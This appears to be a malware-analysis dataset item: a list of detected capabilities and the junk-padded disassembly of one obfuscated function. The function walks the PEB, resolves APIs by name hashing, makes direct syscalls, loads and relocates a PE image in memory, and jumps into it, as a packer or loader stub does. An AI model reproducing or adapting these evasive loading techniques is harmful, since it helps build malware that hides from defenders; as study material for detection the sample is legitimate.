Function at 0x1404432af
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get kernel32 base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
test bl, r10b
cmc
push r14
test r12d, r14d
push r13
test sp, 0x777f
push r12
cmp r8, 0x56165b3e
push rsi
clc
push rdi
clc
test r10b, r8b
push rbp
push rbx
clc
sub rsp, 0x78
cmp qword [0x1400dd010], 0
jmp 0x1404432e5
je 0x14044332c
xor eax, eax
lea rcx, [section..XfYCNx0]
sal r15b, 0x27
mov r15w, 0x9e8
xadd r15b, r15b
nop word cs:[rax + rax]
clc
lea r15, [rax + 0x10]
cmp qword [rax + rcx + 0x20], 0
movsx ax, r8b
mov rax, r15
jne 0x14044330f
jmp 0x14044333a
sub r15d, r15d
neg r10w
rcr r13, cl
movzx r12d, r14w
movabs r12, 0xcbf29ce484222325
movabs r13, 0x1d12a89b9e723ff5
sal r10w, 0xc
rcr r8b, cl
cmovnp r8, r13
mov rcx, qword gs:[0x30]
and r10w, sp
adc r10, r11
movsx r10, si
mov rcx, qword [rcx + 0x60]
stc
rcr r8, cl
mov r10, qword [rcx + 0x18]
mov r8b, dl
sal r8, cl
rcr r8b, 0x11
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x1404433a5
cmp rbx, r8
jmp 0x14044339f
je 0x14044348d
mov r10, qword [r10]
btc r9, 0xfa
movzx r9d, r10w
rol r9b, cl
mov r9, qword [r10 + 0x30]
cmp bpl, dil
test bpl, 0x9e
test r9, r9
jmp 0x1404433c7
je 0x1404436e9
mov r11, qword [r10 + 0x60]
and dil, bpl
mov rdi, 0xffffffffffffffff
cmp word [r11 + rdi*2 + 2], 0
jmp 0x1404433e7
lea rdi, [rdi + 1]
jmp 0x1404433f0
jne 0x1404433db
mov rbx, r12
test rdi, rdi
je 0x140443397
sub ecx, ecx
mov rdx, r12
sal bx, 0xd3
adc sil, dl
nop word [rax + rax]
movzx ebp, r15w
cmc
movzx ebx, word [r11 + rcx*2]
cmp r15d, edi
sar sil, cl
movzx ebp, r12w
lea ebp, [rbx - 0x41]
lea esi, [rbx - 0x410]
btr eax, edx
sal ax, 0x5d
lea eax, [rbx + 0x20]
jmp 0x140443443
cmp si, 0x20
jmp 0x14044344c
cmovb ebx, eax
cmp bp, 0x1a
jmp 0x140443458
cmovb ebx, eax
clc
movzx ebx, bx
cmc
test r15b, 0x37
xor rbx, rdx
bt dx, bx
imul rbx, r13
inc ecx
rol dl, 0x5e
mov rdx, rbx
cmp r12b, sil
cmp rcx, rdi
jmp 0x140443482
jb 0x140443419
jmp 0x140443397
test r10, r10
jmp 0x140443495
je 0x1404436e9
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
rol rcx, 0xa3
mov dh, 0xa0
lea rcx, [r9 + rax]
cdq
test rax, rax
movsx edx, r15w
cmove rcx, rax
mov qword [rsp + 0x38], rcx
btr edx, ebx
bts dx, r14w
rcl dl, cl
mov edx, dword [rcx + 0x18]
test edx, edx
jmp 0x1404434d7
je 0x1404436e9
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x20]
sub r8b, 0x9d
movzx r10d, bx
bts r10, rax
add rcx, r9
mov r8b, 0x7b
mov qword [rsp + 0x40], rcx
sar r10d, 0x34
add r10b, dil
test r13b, 0xa3
mov r10d, dword [rax + 0x24]
neg r8d
add r8b, cl
rol r8b, 0xda
add r10, r9
adc r8b, r10b
movsxd r8, r11d
mov r8d, dword [rax + 0x1c]
test bh, 9
lea r8, [r8 + r9]
xor edi, edi
jmp 0x140443530
jmp 0x140443559
mov edx, dword [rsp + 0x20]
cmove ax, r12w
cdqe
inc rdi
xadd al, al
mov eax, edx
cmp r13, rcx
cmp rdi, rax
jmp 0x140443553
jae 0x1404436e9
movzx ecx, word [r10 + rdi*2]
movsx rbx, sp
mov ebx, dword [r8 + rcx*4]
test dh, 0x78
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x140443576
jne 0x140443540
mov dword [rsp + 0x20], edx
bt rsi, 0x97
bswap ax
and si, di
mov rax, qword [rsp + 0x40]
movzx si, sil
shl sil, cl
mov esi, dword [rax + rdi*4]
sar rbp, 1
add rbp, rdi
cmp bh, 0x98
add rsi, r9
rol bpl, 0xfe
rcr ebp, cl
mov rbp, 0xffffffffffffffff
clc
nop dword [rax + rax]
cmp cx, r8w
stc
cmp byte [rsi + rbp + 1], 0
jmp 0x1404435c9
lea rbp, [rbp + 1]
jmp 0x1404435d2
jne 0x1404435bf
mov rcx, r12
cmp r12b, r12b
clc
test rbp, rbp
jmp 0x1404435e7
je 0x14044365d
sub r14d, r14d
cbw
movsx r11d, r14w
mov r11, r12
cmp bx, 0x75c9
sal cl, 0x23
nop dword [rax]
movzx ecx, byte [rsi + r14]
movsx dx, ah
mov ax, bp
rol ah, 0xc6
lea edx, [rcx - 0x41]
lea eax, [rcx + 0x20]
cmp dl, 0x1a
jmp 0x140443625
movzx eax, al
cmovae eax, ecx
bts rcx, rcx
cmc
movsx rcx, al
xor rcx, r11
bt r11, 0xfa
imul rcx, r13
jmp 0x140443649
inc r14d
mov r11, rcx
cmp r14, rbp
jmp 0x140443657
jb 0x140443608
mov rsi, qword [0x1400dd010]
test r10d, 0x10742bd9
test rsi, rsi
jmp 0x140443673
je 0x140443535
lea rbp, [0x1400dd020]
nop word cs:[rax + rax]
cmp rdi, 0x53e5322c
test dil, dil
cmp rsi, rcx
je 0x1404436c7
mov rsi, qword [rbp]
stc
test sil, al
add rbp, 0x10
cmc
test al, 0x5f
cmp rsp, r12
test rsi, rsi
jmp 0x1404436bc
jne 0x140443699
jmp 0x140443535
mov eax, dword [rbx + r9 + 4]
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
cwd
mov dl, 0xc1
movzx rdx, dx
mov edx, dword [rax + 0x18]
jmp 0x1404436e4
jmp 0x140443540
test r15, r15
jmp 0x1404436f1
je 0x14044379a
xor ebp, ebp
lea rbx, [section..XfYCNx0]
cmp r9b, 0x9e
xadd ch, cl
bts cx, r8w
mov rcx, r12
dec dl
rcl rdx, 0x23
neg dl
nop dword [rax]
rcr dl, cl
rol dh, cl
sar dx, cl
movzx edx, byte [rbp + rbx + 0x10]
jmp 0x14044372c
xor rcx, rdx
imul rcx, r13
inc ebp
cmp rbp, r15
jmp 0x14044373d
jb 0x140443721
movabs rdx, 0xe9203a08b69f42e8
test r11d, r15d
jmp 0x140443755
lea rcx, [rcx + rdx]
and dl, 0x12
bsf edx, r12d
xor edx, 0x2b132c87
movabs rdx, 0x52aea00e8a0b3911
cmp esi, 0xd763a0e
xor rdx, rcx
movzx ecx, dx
and rcx, 0x5bb43a00
btr rcx, 0x50
movabs rcx, 0xee16cad6b000daab
add rcx, rdx
jmp 0x1404437a6
movabs rcx, 0xd5d341ba60cb39c7
cbw
rol rcx, 0x16
movabs rax, 0x957b6a83b7a0090f
stc
cmp rcx, 0x746c6b29
xor rax, rcx
movabs rcx, 0xec0e237d69308474
cmc
test ah, bh
add rcx, rax
mov qword [0x1400b7208], rcx
cmp qword [0x1400de010], 0
jmp 0x1404437e3
je 0x14044381d
sub ecx, ecx
lea rdx, [section.NMLFurx1]
nop
add ax, dx
lea rax, [rcx + 0x10]
cmp qword [rcx + rdx + 0x20], 0
setbe cl
xchg cl, ch
movzx ecx, r15w
mov rcx, rax
jmp 0x140443812
jne 0x1404437f7
jmp 0x140443827
sub eax, eax
clc
cmp r8d, 0x411a2ed0
mov qword [rsp + 0x60], rax
cmc
sub ecx, ecx
jmp 0x140443834
jmp 0x140443859
mov rcx, qword [rsp + 0x30]
jmp 0x140443843
inc rcx
cmp r10, r13
clc
cmp rcx, 8
jmp 0x140443853
je 0x140443c75
lea rax, [0x1400bfdf0]
mov qword [rsp + 0x30], rcx
mov r8, qword [rax + rcx*8]
lahf
mov r10w, 0x26b6
mov rax, qword gs:[0x30]
shr r10d, 0x4b
sal r10b, 0x1b
mov rax, qword [rax + 0x60]
bswap r10w
mov r10d, 0x4f703725
bts r10w, r10w
mov r10, qword [rax + 0x18]
stc
add r10, 0x10
jmp 0x1404438a1
jmp 0x1404438af
cmp rdx, r8
je 0x1404439ba
mov r10, qword [r10]
cmovp r11w, r12w
mov r11, qword [r10 + 0x30]
test r13w, 0x2034
test r11, r11
jmp 0x1404438c9
je 0x140443839
mov r14, qword [r10 + 0x60]
xor rbx, rbp
btr rbx, r9
mov rbx, 0xffffffffffffffff
test r13w, r15w
nop dword [rax]
cmp word [r14 + rbx*2 + 2], 0
jmp 0x1404438f5
lea rbx, [rbx + 1]
jne 0x1404438e9
mov rdx, r12
cmp dil, 0xa8
test rbx, rbx
jmp 0x14044390e
je 0x1404438a6
xor ecx, ecx
mov rdi, r12
jmp 0x140443920
nop word [rax + rax]
sbb bpl, spl
test edx, 0x6967f4e
movzx eax, word [r14 + rcx*2]
movsx ebp, r9w
lea edx, [rax - 0x41]
lea esi, [rax - 0x410]
lea ebp, [rax + 0x20]
jmp 0x14044394b
cmp si, 0x20
jmp 0x140443954
cmovb eax, ebp
jmp 0x140443966
cmp dx, 0x1a
bswap dx
movzx rdx, r10w
cmovb eax, ebp
sub dl, dl
sar dh, 0xb9
shr edx, cl
movzx edx, ax
cmp di, di
stc
xor rdx, rdi
imul rdx, r13
mov di, r14w
movzx di, r11b
inc ecx
jmp 0x1404439a0
mov rdi, rdx
test r11b, 0xfe
cmp rcx, rbx
jmp 0x1404439af
jb 0x14044392f
jmp 0x1404438a6
test r10, r10
je 0x140443839
movzx eax, word [r11]
cmc
test r12b, 0xf
jmp 0x1404439d1
cmp eax, 0x5a4d
jne 0x140443a16
movsxd rax, dword [r11 + 0x3c]
lea rcx, [r11 + rax]
stc
test r9b, r13b
cmp dword [r11 + rax], 0x4550
movsx ax, sil
cmovo ax, r10w
cmove r9, r11
mov rax, qword [rsp + 0x58]
jmp 0x140443a08
cmove rax, rcx
jmp 0x140443a11
jmp 0x140443a20
mov rax, qword [rsp + 0x58]
xor bp, 0x6dc5
mov qword [rsp + 0x58], rax
movsxd rbp, esi
sar bpl, 0xed
mov cl, spl
mov ecx, dword [rax + 0x88]
rcl bpl, 0x2d
test r13b, 0x4c
lea rax, [r9 + rcx]
not rbp
stc
test rcx, rcx
mov bpl, dil
movsx rbp, ax
movsx bp, al
cmove rax, rcx
adc bpl, 0xae
sar bpl, 9
mov ebp, dword [rax + 0x18]
clc
cmc
test ebp, ebp
jmp 0x140443a6b
je 0x140443839
mov r14d, dword [rax + 0x20]
adc rcx, 0x6dc95194
sar cx, cl
xadd ecx, ecx
add r14, r11
bsr cx, r9w
mov ecx, dword [rax + 0x24]
add rcx, r11
cmp esp, 0x6c053f0a
mov qword [rsp + 0x40], rcx
clc
cmc
cmp r15b, dl
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
cmp r15d, 0x49c9114b
test r9b, r8b
lea rax, [rax + r11]
stc
mov qword [rsp + 0x38], rax
test sp, dx
stc
sub esi, esi
jmp 0x140443ac7
jmp 0x140443b36
mov rax, qword [rsp + 0x40]
btc rdx, r11
jmp 0x140443ada
movzx eax, word [rax + rsi*2]
bts bp, di
mov dl, spl
inc bp
mov rdx, qword [rsp + 0x38]
clc
shrd bp, r13w, 0xd3
shr bpl, 0x39
mov eax, dword [rdx + rax*4]
or bpl, spl
rcl ebp, 0xd6
shl bpl, 0x93
add rax, r11
movsx rbp, r15w
mov bp, 0x3665
mov qword [rcx - 8], rax
lahf
mov rax, qword [rsp + 0x20]
mov ebp, dword [rax + 0x18]
movzx ax, r14b
inc rsi
mov eax, ebp
stc
cmp rsi, rax
jmp 0x140443b30
jae 0x140443839
mov r8d, dword [r14 + rsi*4]
cmp rbx, rbp
btr bx, cx
bts bx, r15w
lea r8, [r8 + r11]
xchg rbx, rbx
bts bx, r15w
rcl bl, 0x74
mov rbx, 0xffffffffffffffff
test bx, 0x115b
cmc
nop dword [rax]
cmp byte [r8 + rbx + 1], 0
lea rbx, [rbx + 1]
jmp 0x140443b75
jne 0x140443b66
mov r10, r12
clc
test rbx, rbx
jmp 0x140443b87
je 0x140443c1e
xor ecx, ecx
add r15d, esp
bt di, 0xde
btc edi, ebp
mov r15, r12
test bp, 0x4545
mov dil, 0x6e
xor ax, 0x5752
nop dword [rax]
movzx edi, byte [r8 + rcx]
adc r10b, r10b
lea eax, [rdi - 0x41]
movsx r10w, r9b
test sil, r13b
lea edx, [rdi + 0x20]
bsf r10, r13
cmp al, 0x1a
movsxd rax, ebx
movzx eax, dl
movsx r10d, r14w
movsxd r10, esi
cmovae eax, edi
movsx r10, al
stc
test bpl, 0x7e
cmp rbx, 0x7477600d
xor r10, r15
imul r10, r13
movzx r15w, spl
movsxd r15, esp
inc r15w
inc ecx
movzx r15, cx
mov r15w, 0x5393
mov r15, r10
jmp 0x140443c15
cmp rcx, rbx
jb 0x140443bb0
mov rbx, qword [0x1400de010]
test r11b, r15b
test rbx, rbx
jmp 0x140443c30
je 0x140443b22
lea rcx, [0x1400de020]
test sil, 0x84
test r13b, r10b
nop dword [rax + rax]
cmp rbx, r10
jmp 0x140443c51
je 0x140443acc
mov rbx, qword [rcx]
add rcx, 0x10
cmp r15b, 0x3e
test rbx, rbx
jmp 0x140443c6a
jne 0x140443c49
jmp 0x140443b22
mov rax, qword [rsp + 0x60]
cmp r9w, 0x4fae
test rax, rax
je 0x140443cda
sub ecx, ecx
shrd rbp, r15, 0x18
lea rbp, [section.NMLFurx1]
dec dl
nop dword [rax]
movsx rdx, sp
cmovno edx, r12d
sub dx, dx
movzx edx, byte [rcx + rbp + 0x10]
xor rdx, r12
sar r12b, 0x86
imul rdx, r13
inc ecx
mov r12b, 0x7c
mov r12, rdx
test r13w, 0x251e
clc
stc
cmp rcx, rax
jmp 0x140443ccf
jb 0x140443ca7
jmp 0x140443cdd
mov rdx, r12
rol rdx, 0xb
jmp 0x140443ce9
movabs rax, 0xdf7ad2359957b5f4
add rax, rdx
rol rax, 0x16
cmc
bt rcx, r12
movabs rcx, 0x4934245b3ce013cf
xor rcx, rax
cmp bh, bl
movsx rax, si
xchg al, ah
movabs rax, 0x5b5c0083c64fa867
add rax, rcx
movsx cx, r11b
stc
ror ecx, cl
rol rax, 0xc
cmp r12b, spl
xadd cx, cx
bswap cx
movabs rcx, 0xdd5421de87040723
cmp dl, 0x8c
test sp, 0x9c2
add rcx, rax
stc
movsx rax, r11w
rol rcx, 0x25
shl ah, 0xa8
cmovp ax, r14w
mov qword [0x1400b7210], rcx
btr rcx, rbp
or al, dil
mov eax, dword [0x7ffe0014]
btr ecx, r8d
bt rcx, r9
cmc
mov dword [0x1400b8eb8], eax
movzx ecx, word [0x140000000]
clc
cmp ecx, 0x5a4d
jmp 0x140443d94
jne 0x140443ddf
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
clc
cmp r14w, cx
cmp dword [rcx + rdx], 0x4550
jne 0x140443ddf
lea rbx, [rcx + rdx]
neg r14w
add r10b, al
lea r14, [rcx + rdx]
sal bpl, cl
jmp 0x140443dd5
add r14, 0x108
sub rcx, rbp
imul eax, eax, 0x41c64e6d
shl rbp, 0x2f
movsxd rbp, eax
add eax, 0x3039
shr cl, cl
dec dh
imul ecx, eax, 0x41c64e6d
rcl r12b, 0xc3
shr eax, 0x10
shl r10d, 0x74
lea edx, [rax + rax*2]
clc
shr edx, 0x10
shl r9d, 0x55
mov ebp, eax
test rsi, r14
bts r12, r9
movsx r13d, r9w
sub ebp, edx
bt r13w, 0x1e
movzx ebp, bp
shr ebp, 1
add ebp, edx
movsx r10d, r15w
rcl dh, cl
btr r10, rdi
movzx r13d, bp
ror r9w, 0x83
shr r13d, 0xe
btc rdx, 0x23
add r13d, eax
sub r12b, 0x4c
movsx r9d, r9w
and r13d, 0x3fff
and r10, 0x738c0916
cwd
and dl, spl
add r13d, 0xfff
rcl r9b, cl
stc
cmp r11b, 0xd1
and r13d, 0x7000
rcr r10b, 0x94
inc r10b
or r9b, 0xd4
add ecx, 0x3039
cwd
btc ax, r13w
mov dword [0x1400b8eb8], ecx
adc r12b, dl
shr ecx, 0x10
mov r9, r12
lea eax, [rcx + rcx*2]
bswap rdx
shr eax, 0x10
xchg dl, r12b
mov edx, ecx
setl r9b
sal r9b, cl
rol r12w, 0xd3
sub edx, eax
add r12, rsp
cmp r15w, r8w
or r12b, 0x95
movzx edx, dx
xor r9b, 0xb5
mov r10b, 0xaf
test r11b, 0x52
shr edx, 1
rol r10w, 0xce
add edx, eax
test r9w, sp
rol r12w, cl
cdqe
movzx r12d, dx
shr r12d, 0xe
shrd ax, di, 0xd8
dec ah
movzx r10, dx
add r12d, ecx
cdqe
cmp sil, 0x9b
and r12d, 0x3fff
add r12d, 0xfff
sar r10w, cl
bt rax, 0x4c
cwd
and r12d, 0x7000
shl dh, 0x56
mov qword [rsp + 0x28], 0
movsx r10d, bx
sbb cx, 0x2bb9
mov qword [rsp + 0x20], rbx
rcl r10, 0xe4
ror dx, cl
mov ecx, dword [rbx + 0x50]
sub ah, 0x79
lea rcx, [rcx + r12]
inc r10b
lea rcx, [rcx + r13]
sbb edx, r11d
mov qword [rsp + 0x48], rcx
jmp 0x140443f6e
mov eax, dword [0x1400dd078]
lea rdx, [rsp + 0x28]
shrd r9w, ax, 0x78
bsf r10w, cx
lea r9, [rsp + 0x48]
movzx r10w, r15b
bt r10w, 0x3c
movsx r10, bp
mov r10, 0xffffffffffffffff
xor r8d, r8d
sub rsp, 0x40
jmp 0x140443fab
mov qword [rsp + 0x28], 0x3000
jmp 0x140443fb9
mov qword [rsp + 0x30], 4
jmp 0x140443fc7
syscall
add rsp, 0x40
movsxd r8, edi
adc cx, r10w
cmp r8d, 0x11605a93
mov rcx, qword [rsp + 0x28]
movsx r8w, dl
movsxd r8, edx
mov r8, qword [rsp + 0x48]
xor edx, edx
jmp 0x140443ff4
call fcn.1404a4b72
mov r15, qword [rsp + 0x28]
jmp 0x140444003
test r13d, r13d
jmp 0x14044400b
je 0x140444241
mov rcx, r13
shr rcx, 3
cwde
sbb ebx, 0x64226374
shl bh, cl
cmp rcx, 2
cwd
cwde
mov r8d, 1
movsx rax, bx
cmovae r8, rcx
sub r9d, r9d
bt di, r11w
setl bh
nop word cs:[rax + rax]
imul edx, dword [0x1400b8eb8], 0x41c64e6d
sal bl, 0x3c
add edx, 0x3039
bt ebp, 7
jmp 0x140444067
imul edi, edx, 0x41c64e6d
movsx rsi, r12w
xchg bl, bh
bts rax, rdx
mov ebp, edx
shr edx, 0x56
cmovbe rsi, r11
shr ebp, 0x10
or dh, 0x9e
lea edx, [rbp + rbp*2]
setb bh
ror ebx, cl
shr edx, 0x10
sar bh, cl
adc rcx, rax
mov eax, ebp
bswap si
sub eax, edx
adc si, 0x37fc
movzx eax, ax
shr eax, 1
add eax, edx
rcr cl, cl
sbb dl, r14b
add edi, 0x3039
sal esi, 0x97
add cx, 0xb3
movzx rbx, r10w
movzx edx, ax
movzx rbx, r11w
bt si, 0x4d
mov eax, edi
shr eax, 0x10
sar cl, cl
movzx si, al
lea ebx, [rax + rax*2]
shr ch, 0x98
shr edx, 0xe
adc cl, 0xd4
shr ebx, 0x10
btr esi, 0x99
bt esi, 0x3e
mov esi, eax
mov cx, 0x1275
movsx rcx, r9w
sub esi, ebx
mov cx, 0x48cc
mov ecx, edx
jmp 0x140444106
movzx esi, si
shr esi, 1
jmp 0x140444110
add esi, ebx
rcr bx, 0xe3
btc bx, r10w
shl ecx, 0xf
movzx ebx, si
shr ebx, 0xe
mov esi, ebx
stc
test r15b, 0x90
sub edx, ecx
adc cl, r8b
movsx cx, dh
test ax, 0x4211
shl esi, 0xf
shrd rcx, rbp, 0xd9
xchg cx, cx
rol ecx, 0x26
sub ebx, esi
xor cl, r14b
cmc
sal cl, cl
add ebx, eax
add edx, ebp
or ax, bp
sub ebp, ebp
rol bpl, 8
shr ax, cl
cmp bx, 0x10
cwde
setb bpl
imul eax, edi, 0x41c64e6d
add eax, 0x3039
clc
shr dil, 0x1a
imul ecx, eax, 0x41c64e6d
movzx rdi, si
shr eax, 0x10
lea ebx, [rax + rax*2]
rcl edi, cl
add dil, 0x17
shr ebx, 0x10
add edi, 0x6d987bd1
mov edi, eax
test dx, r8w
cmp rbx, 0x1b00868
sub edi, ebx
clc
movzx edi, di
jmp 0x1404441af
shr edi, 1
clc
test rsp, r10
add edi, ebx
stc
rcr bx, cl
movzx edx, dx
stc
movzx ebx, di
btc edi, ebx
shr ebx, 0xe
mov edi, ebx
jmp 0x1404441cf
or rbp, rdx
test sil, spl
cmp r12, 0x67502e89
shl edi, 0xf
stc
clc
sub ebx, edi
stc
add ebx, eax
test r12w, 0x14c8
cmp al, 0x2b
add ecx, 0x3039
cmp dl, 0xc0
jmp 0x1404441fc
sub eax, eax
xchg al, al
cmp bx, 0x20
not al
setb al
test r13w, cx
mov dword [0x1400b8eb8], ecx
cmp r11w, r9w
or rax, rbp
jmp 0x14044421f
mov qword [r15 + r9*8], rax
jmp 0x140444228
inc r9
test edx, ebp
stc
cmp r8, r9
jmp 0x140444236
jne 0x14044404b
mov r15, qword [rsp + 0x28]
test r12, r12
je 0x140444487
sub r15, r12
add r15, qword [rsp + 0x48]
shr r12, 3
rcl di, 0x62
sbb rbp, 0x5c71482f
cmp r12, 2
movsx edi, r8w
bswap di
xchg ebx, ebx
mov r8d, 1
mov cl, cl
rdtsc
bswap bx
cmovae r8, r12
movzx bp, dl
bt rsi, 0x16
movsx eax, r14w
sub r9d, r9d
bt rbp, 0x16
sbb bh, bl
nop
and ebx, r11d
movsx edi, dx
imul edx, dword [0x1400b8eb8], 0x41c64e6d
ror sil, cl
sar dil, 0xa8
rcl ebx, 0x72
add edx, 0x3039
imul edi, edx, 0x41c64e6d
bts bx, r14w
test di, r14w
shld esi, r9d, 0x38
mov ebp, edx
shl bh, 0xf8
shr ebp, 0x10
lea edx, [rbp + rbp*2]
shr bl, 8
shr edx, 0x10
mov ebx, ebp
stc
dec ch
cmp rax, r14
sub ebx, edx
movzx ebx, bx
btr rsi, 0xf7
xor cl, 0x31
shr ebx, 1
shr ax, cl
cmp cx, 0xfff
add ebx, edx
add rsi, 0x13124506
cmc
sal al, cl
add edi, 0x3039
neg dh
movzx edx, bx
mov ebx, edi
shr ebx, 0x10
movzx si, r13b
btc cx, si
adc rsi, rdx
lea esi, [rbx + rbx*2]
test dil, spl
or ch, bl
shr edx, 0xe
cmc
rcl ah, 0x5f
neg ah
shr esi, 0x10
xadd cl, al
mov eax, ebx
sub eax, esi
mov ecx, edx
jmp 0x140444347
movzx eax, ax
shr eax, 1
cmp bp, 0x452a
jmp 0x140444356
add eax, esi
movzx esi, r14w
shl ecx, 0xf
movzx eax, ax
shr eax, 0xe
and si, si
test cl, r14b
mov esi, eax
clc
sub edx, ecx
or ecx, r9d
shl esi, 0xf
sub eax, esi
btc cx, 0xc4
mov cx, 0x69b7
and ch, 0xd9
add eax, ebx
bts rbx, r11
mov bl, bpl
sal ch, cl
add edx, ebp
xor ebp, ebp
test dh, 0xac
or bl, 0xf1
btc bx, r14w
cmp ax, 0x10
movsx rax, si
setb bpl
sal bl, 0xb5
test r9b, 0x6e
imul eax, edi, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
cmc
bswap bx
lea ebx, [rax + rax*2]
inc dil
shr ebx, 0x10
bswap rdi
mov edi, eax
cmp r14w, 0x69b4
sub edi, ebx
cmc
stc
cmp r12b, 0xcf
movzx edi, di
clc
shr edi, 1
test r13b, spl
jmp 0x1404443f3
add edi, ebx
shrd rbx, rsi, 0x49
movzx edx, dx
btc bx, 0xda
ror rbx, cl
jmp 0x14044440a
movzx ebx, di
shr ebx, 0xe
bt di, bx
movzx rdi, bp
mov edi, ebx
or rbp, rdx
stc
jmp 0x140444423
shl edi, 0xf
sub ebx, edi
clc
test sil, 0x7b
cmp rsp, rax
add ebx, eax
add ecx, 0x3039
test dh, 0x70
cmc
xor eax, eax
mov al, 0x53
cmp bx, 0x20
setb al
test r9b, 0x6d
cmp rdi, r10
stc
mov dword [0x1400b8eb8], ecx
stc
or rax, rbp
jmp 0x14044445e
mov qword [r15 + r9*8], rax
jmp 0x140444467
inc r9
jmp 0x14044446f
cmp r8, r9
jmp 0x140444477
jne 0x14044429e
mov r15, qword [rsp + 0x28]
cmc
sar rax, 0x98
mov rax, qword [rsp + 0x20]
jmp 0x140444491
lea r15, [r15 + r13]
test r15d, 0x5ee2682c
movzx eax, word [rax + 6]
test rax, rax
jmp 0x1404444a8
je 0x1404445dd
shl rax, 3
sub dx, 0x7fcb
btc rcx, rcx
lea rbp, [rax + rax*4]
sub edi, edi
cwd
sub r13b, r12b
or cx, bp
mov ebx, 4
test bx, r8w
movsx cx, spl
lea rsi, [rsp + 0x70]
movsxd rdx, ebp
bt rax, 0x6a
shrd r13w, r14w, 0xe6
lea r12, [rsp + 0x68]
or ah, 0x20
lea r13, [rsp + 0x54]
nop dword [rax + rax]
mov edx, dword [r14 + rdi + 0xc]
add ax, 0x4c92
sets ah
movzx r8, r11w
lea rcx, [r15 + rdx]
bt r8d, r13d
mov qword [rsp + 0x70], rcx
lea rax, [0x140000000]
add rdx, rax
not r8d
movsx r8, dx
mov r8d, dword [r14 + rdi + 8]
jmp 0x140444534
call fcn.1404a40af
mov eax, dword [r14 + rdi + 8]
mov qword [rsp + 0x68], rax
btr rax, 0xb4
rcl edx, cl
movzx rax, dx
mov dword [rsp + 0x54], 0
test dword [r14 + rdi + 0x24], 0x20000000
mov r9d, 0x40
xchg r8w, r8w
cmove r9d, ebx
mov eax, dword [0x1400dd088]
test r8w, r15w
or r8w, 0x4aca
cdq
mov r10, 0xffffffffffffffff
rcr dh, 0x5b
xadd dh, dh
mov rdx, rsi
bt r8w, 0xcb
shl r8b, 0xce
mov r8, r12
cmp ebp, ebp
test r11d, ebx
clc
sub rsp, 0x30
jmp 0x1404445aa
mov qword [rsp + 0x28], r13
jmp 0x1404445b4
syscall
add rsp, 0x30
cmp dil, 0xd6
test r13w, ax
test r10, 0x2cb950c8
add rdi, 0x28
test r10b, cl
cmp ebp, edi
jmp 0x1404445d7
jne 0x1404444fc
lea rdx, [0x140000000]
btc cx, si
shl ax, 0xb8
mov rax, r15
sub rax, rdx
xor cx, 0x4e20
bt esi, r10d
sbb sil, 0xaf
mov rsi, qword [rsp + 0x20]
sub cx, 0x3a92
and rcx, rdi
bsr cx, sp
mov ecx, dword [rsi + 0xb0]
cmp bh, 0xb4
add rcx, rdx
je 0x14044471f
mov r8d, 1
jmp 0x14044462d
jmp 0x140444643
mov ebx, dword [rcx + 4]
add rcx, rbx
jmp 0x14044463d
je 0x14044471f
cmp dword [rcx], 0
je 0x14044471f
mov ebx, dword [rcx + 4]
cmp esp, edi
cmp r9w, 0x5a59
cmc
test rbx, rbx
jmp 0x140444660
je 0x14044471f
lea rbp, [rbx - 8]
cmp rbp, 2
jb 0x140444635
shr rbp, 1
cmp eax, 0xf935ddf
cmp rbp, 2
cmovb rbp, r8
test sp, r11w
cmp bl, 0xde
sub ebx, ebx
jmp 0x140444692
jmp 0x1404446d2
and edi, 0xfff
bts dx, cx
add edx, r14d
rol dx, cl
mov edx, dword [rcx]
cmp ax, 0x1d6b
test r14b, spl
lea rdi, [rdi + r15]
jmp 0x1404446b9
add qword [rdx + rdi], rax
inc rbx
clc
cmp bpl, dil
cmp rbp, rbx
jmp 0x1404446cc
je 0x140444632
movzx edi, word [rcx + rbx*2 + 8]
test dl, 0xb8
cmp edi, 0x1000
jmp 0x1404446e5
jb 0x1404446bd
mov edx, edi
stc
jmp 0x1404446f5
shr edx, 0xc
cmp r8b, spl
test dil, cl
cmp edx, 0xa
jmp 0x140444706
je 0x140444697
cmp edx, 3
jmp 0x140444714
je 0x140444697
jmp 0x1404446bd
mov ecx, dword [rsi + 0xd0]
jmp 0x14044472a
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x14044473f
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x14044474b
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x14044475a
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
inc dx
ror dx, 0x3b
lea rdx, [0x14005d630]
add rdx, rax
bswap rcx
setl ch
lea rcx, [0x140000000]
jmp 0x140444788
call rdx
nop
add rsp, 0x78
setp r13b
mov bpl, dil
pop rbx
movsx r12w, bl
sete r13b
movsx r15d, r8w
pop rbp
movzx r13, si
movzx r13w, r14b
pop rdi
movsxd rsi, r9d
setge r13b
not sil
pop rsi
mov r14w, 0x1ab7
xchg r12b, r13b
pop r12
movsx r13w, r11b
pop r13
cmovns r14, rbx
pop r14
not r15b
pop r15
jmp 0x1404447db
ret